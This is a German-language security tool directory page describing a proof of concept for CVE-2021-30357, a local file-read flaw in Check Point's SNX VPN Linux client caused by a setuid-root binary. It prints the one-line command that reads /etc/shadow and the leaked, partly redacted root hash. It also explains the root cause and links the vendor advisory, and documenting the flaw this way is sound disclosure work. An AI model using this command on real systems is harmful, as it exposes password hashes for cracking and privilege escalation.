Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — Proof-of-Concept für privilegiertes Dateilesen über CheckPoint SNX VPN Linux Client | Kitploit
Tools/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
Privilege EscalationSchwachstellenscannerSchwachstellenanalyseExploitationPenetrationstests
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Proof-of-Concept für privilegiertes Dateilesen über CheckPoint SNX VPN Linux Client

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
61vor 3 JahrenNoch nicht geprüft

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Proof-of-Concept für privilegiertes Dateilesen über den CheckPoint SNX VPN Linux Client.

Betroffene Version

  • CheckPointVPN_SNX_Linux_800007075.sh
  • MD5-Prüfsumme: 4372e9936e2dfb1d1ebcef3ed4dd7787

Exploit

Um den Exploit auszuführen, laden Sie einfach eine beliebige Datei als SNX-Konfiguration mit dem Parameter -f. Wenn die Datei keine gültige SNX-Konfiguration ist, wird ein Fehler ausgegeben und ein Syntaxfehler angezeigt, wodurch der Inhalt bis zum Zeichenkettenabschluss (z.B. etc/shadow) preisgegeben wird:

root@kitploit:~
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

Schwachstelle

Die Ursache ist, dass die ausführbare Datei /usr/bin/snx das SETUID-Bit gesetzt hat und während der Installation als Superuser ausgeführt wird.

Insbesondere die Variable COMMAND_TO_RUN, die in der .sh-Installationsdatei (CheckPointVPN_SNX_Linux_800007075.sh) definiert ist:

root@kitploit:~
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

Im Parameter --mode=u=rxs setzt das letzte s das SUID-Bit, was dazu führt, dass das ausführbare Binary als root ausgeführt wird.

Offizielles Advisory

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
Tool herunterladen